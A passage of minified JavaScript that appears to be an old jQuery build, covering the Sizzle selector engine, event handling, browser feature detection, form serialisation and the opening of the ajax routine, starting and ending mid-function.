- var X = U = Y ? U : U.toUpperCase();
- T = P
- }
- T("previousSibling", U, V, W, X, Y)
- }
- },
- find: {
- ID: function(U, V, W) {
- if (typeof V.getElementById !== "undefined" && !W) {
- var T = V.getElementById(U[1]);
- return T ? [T] : []
- }
- },
- NAME: function(V, Y, Z) {
- if (typeof Y.getElementsByName !== "undefined") {
- var U = [],
- X = Y.getElementsByName(V[1]);
- for (var W = 0, T = X.length; W < T; W++) {
- if (X[W].getAttribute("name") === V[1]) {
- U.push(X[W])
- }
- }
- return U.length === 0 ? null : U
- }
- },
- TAG: function(T, U) {
- return U.getElementsByTagName(T[1])
- }
- },
- preFilter: {
- CLASS: function(W, U, V, T, Z, aa) {
- W = " " + W[1].replace(/\\/g, "") + " ";
- if (aa) {
- return W
- }
- for (var X = 0, Y;
- (Y = U[X]) != null; X++) {
- if (Y) {
- if (Z ^ (Y.className && (" " + Y.className + " ").indexOf(W) >= 0)) {
- if (!V) {
- T.push(Y)
- }
- } else {
- if (V) {
- U[X] = false
- }
- }
- }
- }
- return false
- },
- ID: function(T) {
- return T[1].replace(/\\/g, "")
- },
- TAG: function(U, T) {
- for (var V = 0; T[V] === false; V++) {}
- return T[V] && Q(T[V]) ? U[1] : U[1].toUpperCase()
- },
- CHILD: function(T) {
- if (T[1] == "nth") {
- var U = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2] == "even" && "2n" || T[2] == "odd" && "2n+1" || !/\D/.test(T[2]) && "0n+" + T[2] || T[2]);
- T[2] = (U[1] + (U[2] || 1)) - 0;
- T[3] = U[3] - 0
- }
- T[0] = L++;
- return T
- },
- ATTR: function(X, U, V, T, Y, Z) {
- var W = X[1].replace(/\\/g, "");
- if (!Z && I.attrMap[W]) {
- X[1] = I.attrMap[W]
- }
- if (X[2] === "~=") {
- X[4] = " " + X[4] + " "
- }
- return X
- },
- PSEUDO: function(X, U, V, T, Y) {
- if (X[1] === "not") {
- if (X[3].match(R).length > 1 || /^\w/.test(X[3])) {
- X[3] = F(X[3], null, null, U)
- } else {
- var W = F.filter(X[3], U, V, true ^ Y);
- if (!V) {
- T.push.apply(T, W)
- }
- return false
- }
- } else {
- if (I.match.POS.test(X[0]) || I.match.CHILD.test(X[0])) {
- return true
- }
- }
- return X
- },
- POS: function(T) {
- T.unshift(true);
- return T
- }
- },
- filters: {
- enabled: function(T) {
- return T.disabled === false && T.type !== "hidden"
- },
- disabled: function(T) {
- return T.disabled === true
- },
- checked: function(T) {
- return T.checked === true
- },
- selected: function(T) {
- T.parentNode.selectedIndex;
- return T.selected === true
- },
- parent: function(T) {
- return !!T.firstChild
- },
- empty: function(T) {
- return !T.firstChild
- },
- has: function(V, U, T) {
- return !!F(T[3], V).length
- },
- header: function(T) {
- return /h\d/i.test(T.nodeName)
- },
- text: function(T) {
- return "text" === T.type
- },
- radio: function(T) {
- return "radio" === T.type
- },
- checkbox: function(T) {
- return "checkbox" === T.type
- },
- file: function(T) {
- return "file" === T.type
- },
- password: function(T) {
- return "password" === T.type
- },
- submit: function(T) {
- return "submit" === T.type
- },
- image: function(T) {
- return "image" === T.type
- },
- reset: function(T) {
- return "reset" === T.type
- },
- button: function(T) {
- return "button" === T.type || T.nodeName.toUpperCase() === "BUTTON"
- },
- input: function(T) {
- return /input|select|textarea|button/i.test(T.nodeName)
- }
- },
- setFilters: {
- first: function(U, T) {
- return T === 0
- },
- last: function(V, U, T, W) {
- return U === W.length - 1
- },
- even: function(U, T) {
- return T % 2 === 0
- },
- odd: function(U, T) {
- return T % 2 === 1
- },
- lt: function(V, U, T) {
- return U < T[3] - 0
- },
- gt: function(V, U, T) {
- return U > T[3] - 0
- },
- nth: function(V, U, T) {
- return T[3] - 0 == U
- },
- eq: function(V, U, T) {
- return T[3] - 0 == U
- }
- },
- filter: {
- PSEUDO: function(Z, V, W, aa) {
- var U = V[1],
- X = I.filters[U];
- if (X) {
- return X(Z, W, V, aa)
- } else {
- if (U === "contains") {
- return (Z.textContent || Z.innerText || "").indexOf(V[3]) >= 0
- } else {
- if (U === "not") {
- var Y = V[3];
- for (var W = 0, T = Y.length; W < T; W++) {
- if (Y[W] === Z) {
- return false
- }
- }
- return true
- }
- }
- }
- },
- CHILD: function(T, W) {
- var Z = W[1],
- U = T;
- switch (Z) {
- case "only":
- case "first":
- while (U = U.previousSibling) {
- if (U.nodeType === 1) {
- return false
- }
- }
- if (Z == "first") {
- return true
- }
- U = T;
- case "last":
- while (U = U.nextSibling) {
- if (U.nodeType === 1) {
- return false
- }
- }
- return true;
- case "nth":
- var V = W[2],
- ac = W[3];
- if (V == 1 && ac == 0) {
- return true
- }
- var Y = W[0],
- ab = T.parentNode;
- if (ab && (ab.sizcache !== Y || !T.nodeIndex)) {
- var X = 0;
- for (U = ab.firstChild; U; U = U.nextSibling) {
- if (U.nodeType === 1) {
- U.nodeIndex = ++X
- }
- }
- ab.sizcache = Y
- }
- var aa = T.nodeIndex - ac;
- if (V == 0) {
- return aa == 0
- } else {
- return (aa % V == 0 && aa / V >= 0)
- }
- }
- },
- ID: function(U, T) {
- return U.nodeType === 1 && U.getAttribute("id") === T
- },
- TAG: function(U, T) {
- return (T === "*" && U.nodeType === 1) || U.nodeName === T
- },
- CLASS: function(U, T) {
- return (" " + (U.className || U.getAttribute("class")) + " ").indexOf(T) > -1
- },
- ATTR: function(Y, W) {
- var V = W[1],
- T = I.attrHandle[V] ? I.attrHandle[V](Y) : Y[V] != null ? Y[V] : Y.getAttribute(V),
- Z = T + "",
- X = W[2],
- U = W[4];
- return T == null ? X === "!=" : X === "=" ? Z === U : X === "*=" ? Z.indexOf(U) >= 0 : X === "~=" ? (" " + Z + " ").indexOf(U) >= 0 : !U ? Z && T !== false : X === "!=" ? Z != U : X === "^=" ? Z.indexOf(U) === 0 : X === "$=" ? Z.substr(Z.length - U.length) === U : X === "|=" ? Z === U || Z.substr(0, U.length + 1) === U + "-" : false
- },
- POS: function(X, U, V, Y) {
- var T = U[2],
- W = I.setFilters[T];
- if (W) {
- return W(X, V, U, Y)
- }
- }
- }
- };
- var M = I.match.POS;
- for (var O in I.match) {
- I.match[O] = RegExp(I.match[O].source + /(?![^\[]*\])(?![^\(]*\))/.source)
- }
- var E = function(U, T) {
- U = Array.prototype.slice.call(U);
- if (T) {
- T.push.apply(T, U);
- return T
- }
- return U
- };
- try {
- Array.prototype.slice.call(document.documentElement.childNodes)
- } catch (N) {
- E = function(X, W) {
- var U = W || [];
- if (H.call(X) === "[object Array]") {
- Array.prototype.push.apply(U, X)
- } else {
- if (typeof X.length === "number") {
- for (var V = 0, T = X.length; V < T; V++) {
- U.push(X[V])
- }
- } else {
- for (var V = 0; X[V]; V++) {
- U.push(X[V])
- }
- }
- }
- return U
- }
- }
- var G;
- if (document.documentElement.compareDocumentPosition) {
- G = function(U, T) {
- var V = U.compareDocumentPosition(T) & 4 ? -1 : U === T ? 0 : 1;
- if (V === 0) {
- hasDuplicate = true
- }
- return V
- }
- } else {
- if ("sourceIndex" in document.documentElement) {
- G = function(U, T) {
- var V = U.sourceIndex - T.sourceIndex;
- if (V === 0) {
- hasDuplicate = true
- }
- return V
- }
- } else {
- if (document.createRange) {
- G = function(W, U) {
- var V = W.ownerDocument.createRange(),
- T = U.ownerDocument.createRange();
- V.selectNode(W);
- V.collapse(true);
- T.selectNode(U);
- T.collapse(true);
- var X = V.compareBoundaryPoints(Range.START_TO_END, T);
- if (X === 0) {
- hasDuplicate = true
- }
- return X
- }
- }
- }
- }(function() {
- var U = document.createElement("form"),
- V = "script" + (new Date).getTime();
- U.innerHTML = "<input name='" + V + "'/>";
- var T = document.documentElement;
- T.insertBefore(U, T.firstChild);
- if ( !! document.getElementById(V)) {
- I.find.ID = function(X, Y, Z) {
- if (typeof Y.getElementById !== "undefined" && !Z) {
- var W = Y.getElementById(X[1]);
- return W ? W.id === X[1] || typeof W.getAttributeNode !== "undefined" && W.getAttributeNode("id").nodeValue === X[1] ? [W] : g : []
- }
- };
- I.filter.ID = function(Y, W) {
- var X = typeof Y.getAttributeNode !== "undefined" && Y.getAttributeNode("id");
- return Y.nodeType === 1 && X && X.nodeValue === W
- }
- }
- T.removeChild(U)
- })();
- (function() {
- var T = document.createElement("div");
- T.appendChild(document.createComment(""));
- if (T.getElementsByTagName("*").length > 0) {
- I.find.TAG = function(U, Y) {
- var X = Y.getElementsByTagName(U[1]);
- if (U[1] === "*") {
- var W = [];
- for (var V = 0; X[V]; V++) {
- if (X[V].nodeType === 1) {
- W.push(X[V])
- }
- }
- X = W
- }
- return X
- }
- }
- T.innerHTML = "<a href='#'></a>";
- if (T.firstChild && typeof T.firstChild.getAttribute !== "undefined" && T.firstChild.getAttribute("href") !== "#") {
- I.attrHandle.href = function(U) {
- return U.getAttribute("href", 2)
- }
- }
- })();
- if (document.querySelectorAll) {
- (function() {
- var T = F,
- U = document.createElement("div");
- U.innerHTML = "<p class='TEST'></p>";
- if (U.querySelectorAll && U.querySelectorAll(".TEST").length === 0) {
- return
- }
- F = function(Y, X, V, W) {
- X = X || document;
- if (!W && X.nodeType === 9 && !Q(X)) {
- try {
- return E(X.querySelectorAll(Y), V)
- } catch (Z) {}
- }
- return T(Y, X, V, W)
- };
- F.find = T.find;
- F.filter = T.filter;
- F.selectors = T.selectors;
- F.matches = T.matches
- })()
- }
- if (document.getElementsByClassName && document.documentElement.getElementsByClassName) {
- (function() {
- var T = document.createElement("div");
- T.innerHTML = "<div class='test e'></div><div class='test'></div>";
- if (T.getElementsByClassName("e").length === 0) {
- return
- }
- T.lastChild.className = "e";
- if (T.getElementsByClassName("e").length === 1) {
- return
- }
- I.order.splice(1, 0, "CLASS");
- I.find.CLASS = function(U, V, W) {
- if (typeof V.getElementsByClassName !== "undefined" && !W) {
- return V.getElementsByClassName(U[1])
- }
- }
- })()
- }
- function P(U, Z, Y, ad, aa, ac) {
- var ab = U == "previousSibling" && !ac;
- for (var W = 0, V = ad.length; W < V; W++) {
- var T = ad[W];
- if (T) {
- if (ab && T.nodeType === 1) {
- T.sizcache = Y;
- T.sizset = W
- }
- T = T[U];
- var X = false;
- while (T) {
- if (T.sizcache === Y) {
- X = ad[T.sizset];
- break
- }
- if (T.nodeType === 1 && !ac) {
- T.sizcache = Y;
- T.sizset = W
- }
- if (T.nodeName === Z) {
- X = T;
- break
- }
- T = T[U]
- }
- ad[W] = X
- }
- }
- }
- function S(U, Z, Y, ad, aa, ac) {
- var ab = U == "previousSibling" && !ac;
- for (var W = 0, V = ad.length; W < V; W++) {
- var T = ad[W];
- if (T) {
- if (ab && T.nodeType === 1) {
- T.sizcache = Y;
- T.sizset = W
- }
- T = T[U];
- var X = false;
- while (T) {
- if (T.sizcache === Y) {
- X = ad[T.sizset];
- break
- }
- if (T.nodeType === 1) {
- if (!ac) {
- T.sizcache = Y;
- T.sizset = W
- }
- if (typeof Z !== "string") {
- if (T === Z) {
- X = true;
- break
- }
- } else {
- if (F.filter(Z, [T]).length > 0) {
- X = T;
- break
- }
- }
- }
- T = T[U]
- }
- ad[W] = X
- }
- }
- }
- var K = document.compareDocumentPosition ?
- function(U, T) {
- return U.compareDocumentPosition(T) & 16
- } : function(U, T) {
- return U !== T && (U.contains ? U.contains(T) : true)
- };
- var Q = function(T) {
- return T.nodeType === 9 && T.documentElement.nodeName !== "HTML" || !! T.ownerDocument && Q(T.ownerDocument)
- };
- var J = function(T, aa) {
- var W = [],
- X = "",
- Y, V = aa.nodeType ? [aa] : aa;
- while ((Y = I.match.PSEUDO.exec(T))) {
- X += Y[0];
- T = T.replace(I.match.PSEUDO, "")
- }
- T = I.relative[T] ? T + "*" : T;
- for (var Z = 0, U = V.length; Z < U; Z++) {
- F(T, V[Z], W)
- }
- return F.filter(X, W)
- };
- o.find = F;
- o.filter = F.filter;
- o.expr = F.selectors;
- o.expr[":"] = o.expr.filters;
- F.selectors.filters.hidden = function(T) {
- return T.offsetWidth === 0 || T.offsetHeight === 0
- };
- F.selectors.filters.visible = function(T) {
- return T.offsetWidth > 0 || T.offsetHeight > 0
- };
- F.selectors.filters.animated = function(T) {
- return o.grep(o.timers, function(U) {
- return T === U.elem
- }).length
- };
- o.multiFilter = function(V, T, U) {
- if (U) {
- V = ":not(" + V + ")"
- }
- return F.matches(V, T)
- };
- o.dir = function(V, U) {
- var T = [],
- W = V[U];
- while (W && W != document) {
- if (W.nodeType == 1) {
- T.push(W)
- }
- W = W[U]
- }
- return T
- };
- o.nth = function(X, T, V, W) {
- T = T || 1;
- var U = 0;
- for (; X; X = X[V]) {
- if (X.nodeType == 1 && ++U == T) {
- break
- }
- }
- return X
- };
- o.sibling = function(V, U) {
- var T = [];
- for (; V; V = V.nextSibling) {
- if (V.nodeType == 1 && V != U) {
- T.push(V)
- }
- }
- return T
- };
- return;
- l.Sizzle = F
- })();
- o.event = {
- add: function(I, F, H, K) {
- if (I.nodeType == 3 || I.nodeType == 8) {
- return
- }
- if (I.setInterval && I != l) {
- I = l
- }
- if (!H.guid) {
- H.guid = this.guid++
- }
- if (K !== g) {
- var G = H;
- H = this.proxy(G);
- H.data = K
- }
- var E = o.data(I, "events") || o.data(I, "events", {}),
- J = o.data(I, "handle") || o.data(I, "handle", function() {
- return typeof o !== "undefined" && !o.event.triggered ? o.event.handle.apply(arguments.callee.elem, arguments) : g
- });
- J.elem = I;
- o.each(F.split(/\s+/), function(M, N) {
- var O = N.split(".");
- N = O.shift();
- H.type = O.slice().sort().join(".");
- var L = E[N];
- if (o.event.specialAll[N]) {
- o.event.specialAll[N].setup.call(I, K, O)
- }
- if (!L) {
- L = E[N] = {};
- if (!o.event.special[N] || o.event.special[N].setup.call(I, K, O) === false) {
- if (I.addEventListener) {
- I.addEventListener(N, J, false)
- } else {
- if (I.attachEvent) {
- I.attachEvent("on" + N, J)
- }
- }
- }
- }
- L[H.guid] = H;
- o.event.global[N] = true
- });
- I = null
- },
- guid: 1,
- global: {},
- remove: function(K, H, J) {
- if (K.nodeType == 3 || K.nodeType == 8) {
- return
- }
- var G = o.data(K, "events"),
- F, E;
- if (G) {
- if (H === g || (typeof H === "string" && H.charAt(0) == ".")) {
- for (var I in G) {
- this.remove(K, I + (H || ""))
- }
- } else {
- if (H.type) {
- J = H.handler;
- H = H.type
- }
- o.each(H.split(/\s+/), function(M, O) {
- var Q = O.split(".");
- O = Q.shift();
- var N = RegExp("(^|\\.)" + Q.slice().sort().join(".*\\.") + "(\\.|$)");
- if (G[O]) {
- if (J) {
- delete G[O][J.guid]
- } else {
- for (var P in G[O]) {
- if (N.test(G[O][P].type)) {
- delete G[O][P]
- }
- }
- }
- if (o.event.specialAll[O]) {
- o.event.specialAll[O].teardown.call(K, Q)
- }
- for (F in G[O]) {
- break
- }
- if (!F) {
- if (!o.event.special[O] || o.event.special[O].teardown.call(K, Q) === false) {
- if (K.removeEventListener) {
- K.removeEventListener(O, o.data(K, "handle"), false)
- } else {
- if (K.detachEvent) {
- K.detachEvent("on" + O, o.data(K, "handle"))
- }
- }
- }
- F = null;
- delete G[O]
- }
- }
- })
- }
- for (F in G) {
- break
- }
- if (!F) {
- var L = o.data(K, "handle");
- if (L) {
- L.elem = null
- }
- o.removeData(K, "events");
- o.removeData(K, "handle")
- }
- }
- },
- trigger: function(I, K, H, E) {
- var G = I.type || I;
- if (!E) {
- I = typeof I === "object" ? I[h] ? I : o.extend(o.Event(G), I) : o.Event(G);
- if (G.indexOf("!") >= 0) {
- I.type = G = G.slice(0, -1);
- I.exclusive = true
- }
- if (!H) {
- I.stopPropagation();
- if (this.global[G]) {
- o.each(o.cache, function() {
- if (this.events && this.events[G]) {
- o.event.trigger(I, K, this.handle.elem)
- }
- })
- }
- }
- if (!H || H.nodeType == 3 || H.nodeType == 8) {
- return g
- }
- I.result = g;
- I.target = H;
- K = o.makeArray(K);
- K.unshift(I)
- }
- I.currentTarget = H;
- var J = o.data(H, "handle");
- if (J) {
- J.apply(H, K)
- }
- if ((!H[G] || (o.nodeName(H, "a") && G == "click")) && H["on" + G] && H["on" + G].apply(H, K) === false) {
- I.result = false
- }
- if (!E && H[G] && !I.isDefaultPrevented() && !(o.nodeName(H, "a") && G == "click")) {
- this.triggered = true;
- try {
- H[G]()
- } catch (L) {}
- }
- this.triggered = false;
- if (!I.isPropagationStopped()) {
- var F = H.parentNode || H.ownerDocument;
- if (F) {
- o.event.trigger(I, K, F, true)
- }
- }
- },
- handle: function(K) {
- var J, E;
- K = arguments[0] = o.event.fix(K || l.event);
- K.currentTarget = this;
- var L = K.type.split(".");
- K.type = L.shift();
- J = !L.length && !K.exclusive;
- var I = RegExp("(^|\\.)" + L.slice().sort().join(".*\\.") + "(\\.|$)");
- E = (o.data(this, "events") || {})[K.type];
- for (var G in E) {
- var H = E[G];
- if (J || I.test(H.type)) {
- K.handler = H;
- K.data = H.data;
- var F = H.apply(this, arguments);
- if (F !== g) {
- K.result = F;
- if (F === false) {
- K.preventDefault();
- K.stopPropagation()
- }
- }
- if (K.isImmediatePropagationStopped()) {
- break
- }
- }
- }
- },
- props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
- fix: function(H) {
- if (H[h]) {
- return H
- }
- var F = H;
- H = o.Event(F);
- for (var G = this.props.length, J; G;) {
- J = this.props[--G];
- H[J] = F[J]
- }
- if (!H.target) {
- H.target = H.srcElement || document
- }
- if (H.target.nodeType == 3) {
- H.target = H.target.parentNode
- }
- if (!H.relatedTarget && H.fromElement) {
- H.relatedTarget = H.fromElement == H.target ? H.toElement : H.fromElement
- }
- if (H.pageX == null && H.clientX != null) {
- var I = document.documentElement,
- E = document.body;
- H.pageX = H.clientX + (I && I.scrollLeft || E && E.scrollLeft || 0) - (I.clientLeft || 0);
- H.pageY = H.clientY + (I && I.scrollTop || E && E.scrollTop || 0) - (I.clientTop || 0)
- }
- if (!H.which && ((H.charCode || H.charCode === 0) ? H.charCode : H.keyCode)) {
- H.which = H.charCode || H.keyCode
- }
- if (!H.metaKey && H.ctrlKey) {
- H.metaKey = H.ctrlKey
- }
- if (!H.which && H.button) {
- H.which = (H.button & 1 ? 1 : (H.button & 2 ? 3 : (H.button & 4 ? 2 : 0)))
- }
- return H
- },
- proxy: function(F, E) {
- E = E ||
- function() {
- return F.apply(this, arguments)
- };
- E.guid = F.guid = F.guid || E.guid || this.guid++;
- return E
- },
- special: {
- ready: {
- setup: B,
- teardown: function() {}
- }
- },
- specialAll: {
- live: {
- setup: function(E, F) {
- o.event.add(this, F[0], c)
- },
- teardown: function(G) {
- if (G.length) {
- var E = 0,
- F = RegExp("(^|\\.)" + G[0] + "(\\.|$)");
- o.each((o.data(this, "events").live || {}), function() {
- if (F.test(this.type)) {
- E++
- }
- });
- if (E < 1) {
- o.event.remove(this, G[0], c)
- }
- }
- }
- }
- }
- };
- o.Event = function(E) {
- if (!this.preventDefault) {
- return new o.Event(E)
- }
- if (E && E.type) {
- this.originalEvent = E;
- this.type = E.type
- } else {
- this.type = E
- }
- this.timeStamp = e();
- this[h] = true
- };
- function k() {
- return false
- }
- function u() {
- return true
- }
- o.Event.prototype = {
- preventDefault: function() {
- this.isDefaultPrevented = u;
- var E = this.originalEvent;
- if (!E) {
- return
- }
- if (E.preventDefault) {
- E.preventDefault()
- }
- E.returnValue = false
- },
- stopPropagation: function() {
- this.isPropagationStopped = u;
- var E = this.originalEvent;
- if (!E) {
- return
- }
- if (E.stopPropagation) {
- E.stopPropagation()
- }
- E.cancelBubble = true
- },
- stopImmediatePropagation: function() {
- this.isImmediatePropagationStopped = u;
- this.stopPropagation()
- },
- isDefaultPrevented: k,
- isPropagationStopped: k,
- isImmediatePropagationStopped: k
- };
- var a = function(F) {
- var E = F.relatedTarget;
- while (E && E != this) {
- try {
- E = E.parentNode
- } catch (G) {
- E = this
- }
- }
- if (E != this) {
- F.type = F.data;
- o.event.handle.apply(this, arguments)
- }
- };
- o.each({
- mouseover: "mouseenter",
- mouseout: "mouseleave"
- }, function(F, E) {
- o.event.special[E] = {
- setup: function() {
- o.event.add(this, F, a, E)
- },
- teardown: function() {
- o.event.remove(this, F, a)
- }
- }
- });
- o.fn.extend({
- bind: function(F, G, E) {
- return F == "unload" ? this.one(F, G, E) : this.each(function() {
- o.event.add(this, F, E || G, E && G)
- })
- },
- one: function(G, H, F) {
- var E = o.event.proxy(F || H, function(I) {
- o(this).unbind(I, E);
- return (F || H).apply(this, arguments)
- });
- return this.each(function() {
- o.event.add(this, G, E, F && H)
- })
- },
- unbind: function(F, E) {
- return this.each(function() {
- o.event.remove(this, F, E)
- })
- },
- trigger: function(E, F) {
- return this.each(function() {
- o.event.trigger(E, F, this)
- })
- },
- triggerHandler: function(E, G) {
- if (this[0]) {
- var F = o.Event(E);
- F.preventDefault();
- F.stopPropagation();
- o.event.trigger(F, G, this[0]);
- return F.result
- }
- },
- toggle: function(G) {
- var E = arguments,
- F = 1;
- while (F < E.length) {
- o.event.proxy(G, E[F++])
- }
- return this.click(o.event.proxy(G, function(H) {
- this.lastToggle = (this.lastToggle || 0) % F;
- H.preventDefault();
- return E[this.lastToggle++].apply(this, arguments) || false
- }))
- },
- hover: function(E, F) {
- return this.mouseenter(E).mouseleave(F)
- },
- ready: function(E) {
- B();
- if (o.isReady) {
- E.call(document, o)
- } else {
- o.readyList.push(E)
- }
- return this
- },
- live: function(G, F) {
- var E = o.event.proxy(F);
- E.guid += this.selector + G;
- o(document).bind(i(G, this.selector), this.selector, E);
- return this
- },
- die: function(F, E) {
- o(document).unbind(i(F, this.selector), E ? {
- guid: E.guid + this.selector + F
- } : null);
- return this
- }
- });
- function c(H) {
- var E = RegExp("(^|\\.)" + H.type + "(\\.|$)"),
- G = true,
- F = [];
- o.each(o.data(this, "events").live || [], function(I, J) {
- if (E.test(J.type)) {
- var K = o(H.target).closest(J.data)[0];
- if (K) {
- F.push({
- elem: K,
- fn: J
- })
- }
- }
- });
- F.sort(function(J, I) {
- return o.data(J.elem, "closest") - o.data(I.elem, "closest")
- });
- o.each(F, function() {
- if (this.fn.call(this.elem, H, this.fn.data) === false) {
- return (G = false)
- }
- });
- return G
- }
- function i(F, E) {
- return ["live", F, E.replace(/\./g, "`").replace(/ /g, "|")].join(".")
- }
- o.extend({
- isReady: false,
- readyList: [],
- ready: function() {
- if (!o.isReady) {
- o.isReady = true;
- if (o.readyList) {
- o.each(o.readyList, function() {
- this.call(document, o)
- });
- o.readyList = null
- }
- o(document).triggerHandler("ready")
- }
- }
- });
- var x = false;
- function B() {
- if (x) {
- return
- }
- x = true;
- if (document.addEventListener) {
- document.addEventListener("DOMContentLoaded", function() {
- document.removeEventListener("DOMContentLoaded", arguments.callee, false);
- o.ready()
- }, false)
- } else {
- if (document.attachEvent) {
- document.attachEvent("onreadystatechange", function() {
- if (document.readyState === "complete") {
- document.detachEvent("onreadystatechange", arguments.callee);
- o.ready()
- }
- });
- if (document.documentElement.doScroll && l == l.top) {
- (function() {
- if (o.isReady) {
- return
- }
- try {
- document.documentElement.doScroll("left")
- } catch (E) {
- setTimeout(arguments.callee, 0);
- return
- }
- o.ready()
- })()
- }
- }
- }
- o.event.add(l, "load", o.ready)
- }
- o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","), function(F, E) {
- o.fn[E] = function(G) {
- return G ? this.bind(E, G) : this.trigger(E)
- }
- });
- o(l).bind("unload", function() {
- for (var E in o.cache) {
- if (E != 1 && o.cache[E].handle) {
- o.event.remove(o.cache[E].handle.elem)
- }
- }
- });
- (function() {
- o.support = {};
- var F = document.documentElement,
- G = document.createElement("script"),
- K = document.createElement("div"),
- J = "script" + (new Date).getTime();
- K.style.display = "none";
- K.innerHTML = ' <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';
- var H = K.getElementsByTagName("*"),
- E = K.getElementsByTagName("a")[0];
- if (!H || !H.length || !E) {
- return
- }
- o.support = {
- leadingWhitespace: K.firstChild.nodeType == 3,
- tbody: !K.getElementsByTagName("tbody").length,
- objectAll: !! K.getElementsByTagName("object")[0].getElementsByTagName("*").length,
- htmlSerialize: !! K.getElementsByTagName("link").length,
- style: /red/.test(E.getAttribute("style")),
- hrefNormalized: E.getAttribute("href") === "/a",
- opacity: E.style.opacity === "0.5",
- cssFloat: !! E.style.cssFloat,
- scriptEval: false,
- noCloneEvent: true,
- boxModel: null
- };
- G.type = "text/javascript";
- try {
- G.appendChild(document.createTextNode("window." + J + "=1;"))
- } catch (I) {}
- F.insertBefore(G, F.firstChild);
- if (l[J]) {
- o.support.scriptEval = true;
- delete l[J]
- }
- F.removeChild(G);
- if (K.attachEvent && K.fireEvent) {
- K.attachEvent("onclick", function() {
- o.support.noCloneEvent = false;
- K.detachEvent("onclick", arguments.callee)
- });
- K.cloneNode(true).fireEvent("onclick")
- }
- o(function() {
- var L = document.createElement("div");
- L.style.width = L.style.paddingLeft = "1px";
- document.body.appendChild(L);
- o.boxModel = o.support.boxModel = L.offsetWidth === 2;
- document.body.removeChild(L).style.display = "none"
- })
- })();
- var w = o.support.cssFloat ? "cssFloat" : "styleFloat";
- o.props = {
- "for": "htmlFor",
- "class": "className",
- "float": w,
- cssFloat: w,
- styleFloat: w,
- readonly: "readOnly",
- maxlength: "maxLength",
- cellspacing: "cellSpacing",
- rowspan: "rowSpan",
- tabindex: "tabIndex"
- };
- o.fn.extend({
- _load: o.fn.load,
- load: function(G, J, K) {
- if (typeof G !== "string") {
- return this._load(G)
- }
- var I = G.indexOf(" ");
- if (I >= 0) {
- var E = G.slice(I, G.length);
- G = G.slice(0, I)
- }
- var H = "GET";
- if (J) {
- if (o.isFunction(J)) {
- K = J;
- J = null
- } else {
- if (typeof J === "object") {
- J = o.param(J);
- H = "POST"
- }
- }
- }
- var F = this;
- o.ajax({
- url: G,
- type: H,
- dataType: "html",
- data: J,
- complete: function(M, L) {
- if (L == "success" || L == "notmodified") {
- F.html(E ? o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g, "")).find(E) : M.responseText)
- }
- if (K) {
- F.each(K, [M.responseText, L, M])
- }
- }
- });
- return this
- },
- serialize: function() {
- return o.param(this.serializeArray())
- },
- serializeArray: function() {
- return this.map(function() {
- return this.elements ? o.makeArray(this.elements) : this
- }).filter(function() {
- return this.name && !this.disabled && (this.checked || /select|textarea/i.test(this.nodeName) || /text|hidden|password|search/i.test(this.type))
- }).map(function(E, F) {
- var G = o(this).val();
- return G == null ? null : o.isArray(G) ? o.map(G, function(I, H) {
- return {
- name: F.name,
- value: I
- }
- }) : {
- name: F.name,
- value: G
- }
- }).get()
- }
- });
- o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","), function(E, F) {
- o.fn[F] = function(G) {
- return this.bind(F, G)
- }
- });
- var r = e();
- o.extend({
- get: function(E, G, H, F) {
- if (o.isFunction(G)) {
- H = G;
- G = null
- }
- return o.ajax({
- type: "GET",
- url: E,
- data: G,
- success: H,
- dataType: F
- })
- },
- getScript: function(E, F) {
- return o.get(E, null, F, "script")
- },
- getJSON: function(E, F, G) {
- return o.get(E, F, G, "json")
- },
- post: function(E, G, H, F) {
- if (o.isFunction(G)) {
- H = G;
- G = {}
- }
- return o.ajax({
- type: "POST",
- url: E,
- data: G,
- success: H,
- dataType: F
- })
- },
- ajaxSetup: function(E) {
- o.extend(o.ajaxSettings, E)
- },
- ajaxSettings: {
- url: location.href,
- global: true,
- type: "GET",
- contentType: "application/x-www-form-urlencoded",
- processData: true,
- async: true,
- xhr: function() {
- return l.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest()
- },
- accepts: {
- xml: "application/xml, text/xml",
- html: "text/html",
- script: "text/javascript, application/javascript",
- json: "application/json, text/javascript",
- text: "text/plain",
- _default: "*/*"
- }
- },
- lastModified: {},
- ajax: function(M) {
- M = o.extend(true, M, o.extend(true, {}, o.ajaxSettings, M));
- var W, F = /=\?(&|$)/g,
- R, V, G = M.type.toUpperCase();
- if (M.data && M.processData && typeof M.data !== "string") {
- M.data = o.param(M.data)
- }
- if (M.dataType == "jsonp") {
- if (G == "GET") {
- if (!M.url.match(F)) {
- M.url += (M.url.match(/\?/) ? "&" : "?") + (M.jsonp || "callback") + "=?"
- }
- } else {
- if (!M.data || !M.data.match(F)) {
- M.data = (M.data ? M.data + "&" : "") + (M.jsonp || "callback") + "=?"
- }
- }
- M.dataType = "json"
- }
- if (M.dataType == "json" && (M.data && M.data.match(F) || M.url.match(F))) {
- W = "jsonp" + r++;
- if (M.data) {
- M.data = (M.data + "").replace(F, "=" + W + "$1")
- }
- M.url = M.url.replace(F, "=" + W + "$1");
- M.dataType = "script";
- l[W] = function(X) {
- V = X;
- I();
- L();
- l[W] = g;
- try {
- delete l[W]
- } catch (Y) {}
- if (H) {
- H.removeChild(T)
- }
- }
- }
- if (M.dataType == "script" && M.cache == null) {
- M.cache = false
- }
- if (M.cache === false && G == "GET") {
- var E = e();
- var U = M.url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + E + "$2");
- M.url = U + ((U == M.url) ? (M.url.match(/\?/) ? "&" : "?") + "_=" + E : "")
- }
- if (M.data && G == "GET") {
- M.url += (M.url.match(/\?/) ? "&" : "?") + M.data;
- M.data = null
- }
- if (M.global && !o.active++) {
- o.event.trigger("ajaxStart")
- }
- var Q = /^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);
